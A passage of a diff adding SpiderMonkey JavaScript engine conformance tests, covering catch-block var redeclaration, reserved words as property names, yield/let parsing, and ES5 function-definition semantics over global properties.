+// Tests that var declaration is allowed in C-for head.
+function h1() {
+ try {} catch (e) {
+ for (var e;;);
+ }
+}
+h1();
+
+// Tests that var declaration is allowed in for-of head.
+function h2() {
+ try {} catch (e) {
+ for (var e of {});
+ }
+}
+h2();
+
+// Tests that redeclaring a var inside the catch is allowed.
+function h3() {
+ var e;
+ try {} catch (e) {
+ var e;
+ }
+}
+h3();
+
+if (typeof evaluate === "function") {
+ assertThrowsInstanceOf(function () {
+ evaluate(`
+ let y;
+ try {} catch (y) { var y; }
+ `);
+ }, SyntaxError);
+}
+
+assertEq(log, "42g");
+
+if ("reportCompare" in this)
+ reportCompare(true, true)
diff --git a/js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js b/js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js
new file mode 100644
index 0000000000..042f92f688
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js
@@ -0,0 +1,18 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+let v = "global-v";
+
+function f(v, global)
+{
+ with (global)
+ return v;
+}
+
+assertEq(f("argument-v", this), "argument-v",
+ "let-var shouldn't appear in global for |with| purposes");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical/browser.js b/js/src/tests/non262/lexical/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical/browser.js
diff --git a/js/src/tests/non262/lexical/regress-336376-01.js b/js/src/tests/non262/lexical/regress-336376-01.js
new file mode 100644
index 0000000000..ef6a0f435d
--- /dev/null
+++ b/js/src/tests/non262/lexical/regress-336376-01.js
@@ -0,0 +1,322 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "336376";
+var summary = "Tests reserved words in contexts in which they are not reserved";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * TEST SETUP *
+ **************/
+
+//
+// New tests go in Tester.prototype._tests. A test is called with a single
+// argument, the keyword to test in the syntax tested by that test. Tests
+// should not return anything, and they should signal failure by throwing an
+// explanatory exception and success by not throwing one.
+//
+// If you define a new test, make sure to name it using an informative string
+// for ease of use if any keywords ever manually define the array of tests they
+// should pass, and add it as a string to ALL_TESTS.
+//
+
+// all tests
+const ALL_TESTS =
+ [
+ "CONTEXT_OBJECT_LITERAL_PROPERTY",
+ "CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE",
+ "CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE_IS_FUNCTION",
+ "CONTEXT_OBJECT_PROPERTY_DOT_GET",
+ "CONTEXT_OBJECT_PROPERTY_DOT_SET",
+ ];
+
+function r(keyword, tests)
+{
+ /**
+ * @param keyword
+ * the keyword as a string
+ * @param tests
+ * array of test numbers against it, or leave undefined to run all tests
+ * against it
+ */
+ function Reserved(keyword, tests)
+ {
+ this.keyword = keyword;
+ if (tests)
+ this.tests = tests;
+ else
+ this.tests = ALL_TESTS;
+ }
+ Reserved.prototype =
+ {
+ toString:
+ function()
+ {
+ return "'" + this.keyword + "' being run against tests " +
+ this.tests;
+ }
+ };
+ return new Reserved(keyword, tests);
+}
+
+// ECMA-262, 3rd. ed. keywords -- see 7.5.2
+const ECMA_262_3_KEYWORD =
+ [
+ r("break"),
+ r("case"),
+ r("catch"),
+ r("continue"),
+ r("default"),
+ r("delete"),
+ r("do"),
+ r("else"),
+ r("finally"),
+ r("for"),
+ r("function"),
+ r("if"),
+ r("in"),
+ r("instanceof"),
+ r("new"),
+ r("return"),
+ r("switch"),
+ r("this"),
+ r("throw"),
+ r("try"),
+ r("typeof"),
+ r("var"),
+ r("void"),
+ r("while"),
+ r("with"),
+ ];
+
+// ECMA-262, 3rd. ed. future reserved keywords -- see 7.5.3
+const ECMA_262_3_FUTURERESERVEDKEYWORD =
+ [
+ r("abstract"),
+ r("boolean"),
+ r("byte"),
+ r("char"),
+ r("class"),
+ r("const"),
+ r("debugger"),
+ r("double"),
+ r("enum"),
+ r("export"),
+ r("extends"),
+ r("final"),
+ r("float"),
+ r("goto"),
+ r("implements"),
+ r("import"),
+ r("int"),
+ r("interface"),
+ r("long"),
+ r("native"),
+ r("package"),
+ r("private"),
+ r("protected"),
+ r("public"),
+ r("short"),
+ r("static"),
+ r("super"),
+ r("synchronized"),
+ r("throws"),
+ r("transient"),
+ r("volatile"),
+ ];
+
+// like reserved words, but not quite reserved words
+const PSEUDO_RESERVED =
+ [
+ r("true"),
+ r("false"),
+ r("null"),
+ ];
+
+// new-in-ES4 reserved words -- fill this as each is implemented
+const ECMA_262_4_RESERVED_WORDS =
+ [
+ r("let")
+ ];
+
+
+
+/**
+ * @param keyword
+ * string containing the tested keyword
+ * @param test
+ * the number of the failing test
+ * @param error
+ * the exception thrown when running the test
+ */
+function Failure(keyword, test, error)
+{
+ this.keyword = keyword;
+ this.test = test;
+ this.error = error;
+}
+Failure.prototype =
+{
+ toString:
+ function()
+ {
+ return "*** FAILURE on '" + this.keyword + "'!\n" +
+ "* test: " + this.test + "\n" +
+ "* error: " + this.error + "\n";
+ }
+};
+
+function Tester()
+{
+ this._failedTests = [];
+}
+Tester.prototype =
+{
+ testReservedWords:
+ function(reservedArray)
+ {
+ var rv;
+ for (var i = 0, sz = reservedArray.length; i < sz; i++)
+ {
+ var res = reservedArray[i];
+ if (!res)
+ continue;
+
+ var tests = res.tests;
+ for (var j = 0, sz2 = tests.length; j < sz2; j++)
+ {
+ var test = tests[j];
+ if (!test)
+ continue;
+
+ try
+ {
+ this._tests[test](res.keyword);
+ }
+ catch (e)
+ {
+ this._failedTests.push(new Failure(res.keyword, test, e));
+ }
+ }
+ }
+ },
+ flushErrors:
+ function ()
+ {
+ if (this._failedTests.length > 0) {
+ var except = "*************************\n" +
+ "* FAILURES ENCOUNTERED! *\n" +
+ "*************************\n";
+ for (var i = 0, sz = this._failedTests.length; i < sz; i++)
+ except += this._failedTests[i];
+ throw except;
+ }
+ },
+ _tests:
+ {
+ CONTEXT_OBJECT_LITERAL_PROPERTY:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { " + keyword + ": 17 };\n" +
+ "if (o['" + keyword + "'] != 17)\n" +
+ "throw \"o['" + keyword + "'] == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { \"" + keyword + "\": 17, baz: null };\n" +
+ "if (o." + keyword + " != 17)\n" +
+ "throw \"o." + keyword + " == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE_IS_FUNCTION:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { '" + keyword + "': function() { return 17; }, baz: null };\n" +
+ "if (o." + keyword + "() != 17)\n" +
+ "throw \"o." + keyword + " == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_GET:
+ function(keyword)
+ {
+ try
+ {
+ var o = {};
+ eval("o['" + keyword + "'] = 17;\n" +
+ "if (o." + keyword + " != 17)\n" +
+ "throw \"'o." + keyword + " != 17' failed!\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_SET:
+ function(keyword)
+ {
+ try
+ {
+ var o = {};
+ eval("o." + keyword + " = 17;\n" +
+ "if (o['" + keyword + "'] != 17)\n" +
+ "throw \"'o." + keyword + " = 17' failed!\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ }
+};
+
+
+/***************
+ * BEGIN TESTS *
+ ***************/
+
+var failed = false;
+
+try
+{
+ var tester = new Tester();
+ tester.testReservedWords(ECMA_262_3_KEYWORD);
+ tester.testReservedWords(ECMA_262_3_FUTURERESERVEDKEYWORD);
+ tester.testReservedWords(PSEUDO_RESERVED);
+ tester.testReservedWords(ECMA_262_4_RESERVED_WORDS);
+ tester.flushErrors();
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/lexical/regress-346642-04.js b/js/src/tests/non262/lexical/regress-346642-04.js
new file mode 100644
index 0000000000..6898864904
--- /dev/null
+++ b/js/src/tests/non262/lexical/regress-346642-04.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346642;
+var summary = 'decompilation of destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Crash';
+ actual = 'No Crash';
+ try
+ {
+ (function() { for (var [a, b] in []) for ([c, d] in []) { } });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/lexical/regress-351515.js b/js/src/tests/non262/lexical/regress-351515.js
new file mode 100644
index 0000000000..47690b7455
--- /dev/null
+++ b/js/src/tests/non262/lexical/regress-351515.js
@@ -0,0 +1,94 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351515;
+var summary = 'Invalid uses of yield, let keywords in js17';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+try
+{
+ expect = "No Error";
+ eval('yield = 1;');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': global: yield = 1');
+
+try
+{
+ expect = "No Error";
+ eval('(function(){yield = 1;})');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': local: yield = 1');
+
+try
+{
+ expect = "No Error";
+ eval('let = 1;');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': global: let = 1');
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = "No Error";
+ eval('function f(yield, let) { return yield+let; }');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary +
+ ': function f(yield, let) { return yield+let; }');
+
+ try
+ {
+ expect = "No Error";
+ eval('var yield = 1;');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function () {var yield;}');
+
+ try
+ {
+ expect = "No Error";
+ eval('var let = 1;');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function () { var let;}');
+}
diff --git a/js/src/tests/non262/lexical/shell.js b/js/src/tests/non262/lexical/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical/shell.js
diff --git a/js/src/tests/non262/literals/numeric/idstart-after-numeric.js b/js/src/tests/non262/literals/numeric/idstart-after-numeric.js
new file mode 100644
index 0000000000..1678c17854
--- /dev/null
+++ b/js/src/tests/non262/literals/numeric/idstart-after-numeric.js
@@ -0,0 +1,15 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var BUGNUMBER = '523401';
+var summary = 'numeric literal followed by an identifier';
+
+var array = new Array();
+assertThrowsInstanceOf(() => eval("array[0for]"), SyntaxError);
+assertThrowsInstanceOf(() => eval("array[1yield]"), SyntaxError);
+assertThrowsInstanceOf(() => eval("array[2in []]"), SyntaxError); // "2 in []" is valid.
+reportCompare(array[2 in []], undefined);
+reportCompare(2 in [], false);
+assertThrowsInstanceOf(() => eval("array[3in]"), SyntaxError);
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/literals/numeric/shell.js b/js/src/tests/non262/literals/numeric/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/literals/numeric/shell.js
diff --git a/js/src/tests/non262/literals/shell.js b/js/src/tests/non262/literals/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/literals/shell.js
diff --git a/js/src/tests/non262/misc/browser.js b/js/src/tests/non262/misc/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/misc/browser.js
diff --git a/js/src/tests/non262/misc/bug1126318.js b/js/src/tests/non262/misc/bug1126318.js
new file mode 100644
index 0000000000..73ccdc07a7
--- /dev/null
+++ b/js/src/tests/non262/misc/bug1126318.js
@@ -0,0 +1,13 @@
+if (typeof window === "undefined")
+ window = this;
+
+Object.defineProperty(window, "foo", {
+ get: function() { return 5; },
+ configurable: true
+});
+
+for (var i = 0; i < 100; ++i)
+ assertEq(window.foo, 5);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js b/js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js
new file mode 100644
index 0000000000..c6f0a8f39a
--- /dev/null
+++ b/js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js
@@ -0,0 +1,156 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 619283;
+var summary =
+ "ECMAScript built-in methods that immediately throw when |this| is " +
+ "|undefined| or |null| (due to CheckObjectCoercible, ToObject, or ToString)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// We can't just exhaustively loop over everything because 1) method properties
+// might be extensions with special |this| handling, and 2) some methods don't
+// *quite* immediately throw a TypeError, first thing, if |this| is |undefined|
+// or |null|, or their algorithms are very slightly ambiguous about whether they
+// do. Why? Ipse-dixitism. *shrug*
+
+var ClassToMethodMap =
+ {
+ Object: [/* "toString" has special |this| handling */
+ "toLocaleString", "valueOf", "hasOwnProperty",
+ /*
+ * "isPrototypeOf" has special |this| handling already tested in
+ * non262/Object/isPrototypeOf.js.
+ */
+ /*
+ * "isPrototypeOf" has special |this| handling already tested in
+ * non262/Object/propertyIsEnumerable.js.
+ */
+ "__defineGetter__", "__defineSetter__",
+ "__lookupGetter__", "__lookupSetter__",
+ ],
+ // Function methods often don't ToObject(this) as their very first step,
+ // and they're already stepwise well-tested such that manual tests here
+ // would be redundant.
+ Array: ["toString", "toLocaleString", "concat", "join", "pop", "push",
+ "reverse", "shift", "slice", "sort", "splice", "unshift",
+ "indexOf", "lastIndexOf", "every", "some", "forEach", "map",
+ "filter", "reduce", "reduceRight"],
+ String: ["toString", "valueOf", "charAt", "charCodeAt", "concat",
+ "indexOf", "lastIndexOf", "localeCompare", "match", "replace",
+ "search", "slice", "split", "substring", "toLowerCase",
+ "toLocaleLowerCase", "toUpperCase", "toLocaleUpperCase", "trim",
+ "bold", "italics", "fixed", "fontsize",
+ "fontcolor", "link", "anchor", "strike", "small", "big", "blink",
+ "sup", "sub", "substr", "trimLeft", "trimRight",
+ ],
+ Boolean: ["toString", "valueOf"],
+ Number: ["toString", "toLocaleString", "valueOf",
+ /*
+ * toFixed doesn't *immediately* test |this| for number or
+ * Number-ness, but because the ToInteger(void 0) which arguably
+ * precedes it in the toFixed algorithm won't throw in this test,
+ * we don't need to specially test it.
+ */
+ "toFixed",
+ "toExponential", "toPrecision"],
+ Date: ["toDateString", "toTimeString", "toLocaleString",
+ "toLocaleDateString", "toLocaleTimeString", "valueOf", "getTime",
+ "getFullYear", "getUTCFullYear", "getMonth", "getUTCMonth",
+ "getDate", "getUTCDate", "getDay", "getUTCDay", "getHours",
+ "getUTCHours", "getMinutes", "getUTCMinutes", "getSeconds",
+ "getUTCSeconds", "getMilliseconds", "getUTCMilliseconds",
+ /*
+ * toFixed doesn't *immediately* test |this| for number or
+ * Number-ness, but because the TimeClip(ToNumber(void 0)) which
+ * arguably precedes it in the setTime algorithm won't throw in
+ * this test, we don't need to specially test it.
+ */
+ "setTime",
+ "getTimezoneOffset", "setMilliseconds", "setUTCMilliseconds",
+ "setSeconds", "setUTCSeconds", "setMinutes", "setUTCMinutes",
+ "setHours", "setUTCHours", "setDate", "setUTCDate", "setMonth",
+ "setUTCMonth", "setFullYear", "setUTCFullYear", "toUTCString",
+ "toISOString", "toJSON",
+ "getYear", "setYear", "toGMTString"],
+ RegExp: ["exec", "test", "toString"],
+ Error: ["toString"],
+ };
+
+var badThisValues = [null, undefined];
+
+function testMethod(Class, className, method)
+{
+ var expr;
+
+ // Try out explicit this values
+ for (var i = 0, sz = badThisValues.length; i < sz; i++)
+ {
+ var badThis = badThisValues[i];
+
+ expr = className + ".prototype." + method + ".call(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].call(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+
+ expr = className + ".prototype." + method + ".apply(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].apply(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+ }
+
+ // ..and for good measure..
+
+ expr = "(0, " + className + ".prototype." + method + ")()"
+ try
+ {
+ // comma operator to call GetValue() on the method and de-Reference it
+ (0, Class.prototype[method])();
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+}
+
+for (var className in ClassToMethodMap)
+{
+ var Class = this[className];
+
+ var methodNames = ClassToMethodMap[className];
+ for (var i = 0, sz = methodNames.length; i < sz; i++)
+ {
+ var method = methodNames[i];
+ testMethod(Class, className, method);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/enumerate-undefined.js b/js/src/tests/non262/misc/enumerate-undefined.js
new file mode 100644
index 0000000000..17bc1c4c87
--- /dev/null
+++ b/js/src/tests/non262/misc/enumerate-undefined.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 547087;
+var summary = 'JS_EnumerateStandardClasses uses wrong attributes for undefined';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var p in this);
+
+assertEq(Object.getOwnPropertyDescriptor(this, "undefined").writable, false);
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/error-undefined-message.js b/js/src/tests/non262/misc/error-undefined-message.js
new file mode 100644
index 0000000000..8a9202b8fd
--- /dev/null
+++ b/js/src/tests/non262/misc/error-undefined-message.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq(new Error().hasOwnProperty('message'), false);
+assertEq(new Error(undefined).hasOwnProperty('message'), false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/misc/explicit-undefined-optional-argument.js b/js/src/tests/non262/misc/explicit-undefined-optional-argument.js
new file mode 100644
index 0000000000..f861ccfdb1
--- /dev/null
+++ b/js/src/tests/non262/misc/explicit-undefined-optional-argument.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var BUGNUMBER = 373118;
+var summary =
+ 'Properly handle explicitly-undefined optional arguments to a bunch of ' +
+ 'functions';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+var a;
+
+a = "abc".slice(0, undefined);
+assertEq(a, "abc");
+
+a = "abc".substr(0, undefined);
+assertEq(a, "abc");
+
+a = "abc".substring(0, undefined);
+assertEq(a, "abc");
+
+a = [1, 2, 3].slice(0, undefined);
+assertEq(a.join(), '1,2,3');
+
+a = [1, 2, 3].sort(undefined);
+assertEq(a.join(), '1,2,3');
+
+assertEq((20).toString(undefined), '20');
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/function-definition-eval.js b/js/src/tests/non262/misc/function-definition-eval.js
new file mode 100644
index 0000000000..27feae1a69
--- /dev/null
+++ b/js/src/tests/non262/misc/function-definition-eval.js
@@ -0,0 +1,348 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var outer, desc;
+var isInShell = !("Window" in this);
+
+///////////////////////////////////////////////////
+// Function definitions over accessor properties //
+///////////////////////////////////////////////////
+
+var getCalled, setCalled;
+
+// configurable properties get blown away
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc1",
+ {
+ get: function() { getCalled = true; throw "FAIL get 1"; },
+ set: function(v) { setCalled = true; throw "FAIL set 1 " + v; },
+ configurable: true,
+ enumerable: false
+ });
+
+// does not throw
+outer = undefined;
+eval("function acc1() { throw 'FAIL redefined 1'; } outer = acc1;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc1, "function");
+assertEq(acc1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc1");
+assertEq(desc.value, acc1);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc2",
+ {
+ get: function() { getCalled = true; throw "FAIL get 2"; },
+ set: function(v) { setCalled = true; throw "FAIL set 2 " + v; },
+ configurable: true,
+ enumerable: true
+ });
+
+// does not throw
+outer = undefined;
+eval("function acc2() { throw 'FAIL redefined 2'; } outer = acc2;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc2, "function");
+assertEq(acc2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc2");
+assertEq(desc.value, acc2);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+// non-configurable properties produce a TypeError. We only test this in shell,
+// since defining non-configurable properties on Window instances throws.
+if (isInShell) {
+ getCalled = false, setCalled = false;
+ Object.defineProperty(this, "acc3",
+ {
+ get: function() { getCalled = true; throw "FAIL get 3"; },
+ set: function(v) { setCalled = true; throw "FAIL set 3 " + v; },
+ configurable: false,
+ enumerable: true
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function acc3() { throw 'FAIL redefined 3'; }; outer = acc3");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable accessor, must throw a TypeError " +
+ "per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc3");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+ }
+
+
+ getCalled = false, setCalled = false;
+ Object.defineProperty(this, "acc4",
+ {
+ get: function() { getCalled = true; throw "FAIL get 4"; },
+ set: function(v) { setCalled = true; throw "FAIL set 4 " + v; },
+ configurable: false,
+ enumerable: false
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function acc4() { throw 'FAIL redefined 4'; }; outer = acc4");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable accessor, must throw a " +
+ "TypeError per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc4");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+ }
+}
+
+
+///////////////////////////////////////////////
+// Function definitions over data properties //
+///////////////////////////////////////////////
+
+
+// configurable properties, regardless of other attributes, get blown away
+
+Object.defineProperty(this, "data1",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: "data1"
+ });
+
+outer = undefined;
+eval("function data1() { return 'data1 function'; } outer = data1;");
+assertEq(typeof data1, "function");
+assertEq(data1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data1");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data1);
+
+
+Object.defineProperty(this, "data2",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: false,
+ value: "data2"
+ });
+
+outer = undefined;
+eval("function data2() { return 'data2 function'; } outer = data2;");
+assertEq(typeof data2, "function");
+assertEq(data2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data2");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data2);
+
+
+Object.defineProperty(this, "data3",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: true,
+ value: "data3"
+ });
+
+outer = undefined;
+eval("function data3() { return 'data3 function'; } outer = data3;");
+assertEq(typeof data3, "function");
+assertEq(data3, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data3");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data3);
+
+
+Object.defineProperty(this, "data4",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: false,
+ value: "data4"
+ });
+
+outer = undefined;
+eval("function data4() { return 'data4 function'; } outer = data4;");
+assertEq(typeof data4, "function");
+assertEq(data4, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data4");
+assertEq(desc.value, data4);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+// non-configurable data properties are trickier. Again, we test these only in shell.
+
+if (isInShell) {
+ Object.defineProperty(this, "data5",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: true,
+ value: "data5"
+ });
+
+ outer = undefined;
+ eval("function data5() { return 'data5 function'; } outer = data5;");
+ assertEq(typeof data5, "function");
+ assertEq(data5, outer);
+ desc = Object.getOwnPropertyDescriptor(this, "data5");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, data5);
+
+
+ Object.defineProperty(this, "data6",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: false,
+ value: "data6"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data6() { return 'data6 function'; } outer = data6;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable, non-writable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable, non-writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data6, "data6");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data6");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data6");
+ }
+
+
+ Object.defineProperty(this, "data7",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: true,
+ value: "data7"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data7() { return 'data7 function'; } outer = data7;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, writable data" +
+ "property");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data7, "data7");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data7");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, "data7");
+ }
+
+
+ Object.defineProperty(this, "data8",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: false,
+ value: "data8"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data8() { return 'data8 function'; } outer = data8;");
+ throw new Error("should have thrown trying to redefine global function " +
